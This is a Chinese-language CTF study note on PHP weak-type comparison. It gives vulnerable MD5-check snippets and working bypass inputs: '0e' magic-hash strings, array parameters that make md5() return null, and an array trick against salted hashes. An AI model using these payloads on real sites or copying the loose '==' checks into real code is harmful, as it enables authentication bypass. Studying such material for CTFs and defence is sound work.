== 弱类型比较

基础方法

科学计数法

0e开头的会被识别为科学记数法,结果均为 0

  1. <?php
  2. if (isset($_GET['a']) && isset($_GET['b'])) {
  3. $a = $_GET['a'];
  4. $b = $_GET['b'];
  5. if ($a != $b && md5($a) == md5($b)) {
  6. echo "flag{XXXXX}";
  7. } else {
  8. echo "wrong!";
  9. }
  10. } else {
  11. echo 'wrong!';
  12. }
  13. ?>

?a=s1885207154a&b=s1836677006a

  1. md5("s1885207154a") => 0e509367213418206700842008763514
  2. md5("s1836677006a") => 0e481036490867661113260034900752

数组绕过

传入的是数组不是字符串,md5 函数无法解出其数值并且不会报错,返回结果是null

  1. <?php
  2. if (isset($_GET['a']) && isset($_GET['b'])) {
  3. $a = $_GET['a'];
  4. $b = $_GET['b'];
  5. if ($a != $b && md5($a) == md5($b)) {
  6. echo "flag{XXXXX}";
  7. } else {
  8. echo "wrong!";
  9. }
  10. } else {
  11. echo 'wrong!';
  12. }
  13. ?>

?a[]=1&b[]=2

md5等于自身

https://jaimelightfoot.com/blog/b00t2root-ctf-easyphp/

  1. $str1 = $_GET['1'];
  2. if(isset($_GET['1'])){
  3. if($str1 == md5($str1)){
  4. echo $flag1;
  5. }
  6. else{
  7. die();
  8. }
  9. }
  10. else{
  11. die();
  12. }

用科学计数法绕过,原文和密文都是0e开头:
md5(0e215962017)=0e291242476940776845150308577824
?1=0e215962017

md5加盐

  1. $str2 = $_GET['2'];
  2. $str3 = $_GET['3'];
  3. if(isset($_GET['2']) && isset($_GET['3'])){
  4. if($str2 !== $str3){
  5. if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){
  6. echo $flag2;
  7. }
  8. else{
  9. die();
  10. }
  11. }
  12. else{
  13. die();
  14. }
  15. }
  16. else{
  17. die();
  18. }

用数组绕过,因为加盐的时候数组的值都是 Array :

  1. $salt = "something";
  2. $str2[] = 1;
  3. $str3[] = 2;
  4. echo ($salt . $str2);//somethingArray
  5. echo ($salt . $str3);//somethingArray

===强类型比较